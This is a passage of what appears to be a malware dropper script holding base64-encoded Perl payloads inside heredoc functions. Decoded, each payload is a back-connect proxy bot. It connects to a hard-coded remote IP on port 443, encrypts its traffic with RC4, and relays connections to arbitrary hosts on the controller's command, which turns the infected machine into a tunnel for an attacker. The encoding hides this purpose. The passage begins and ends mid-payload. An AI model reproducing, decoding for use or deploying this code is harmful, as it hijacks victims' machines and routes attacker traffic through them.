Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_17() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ 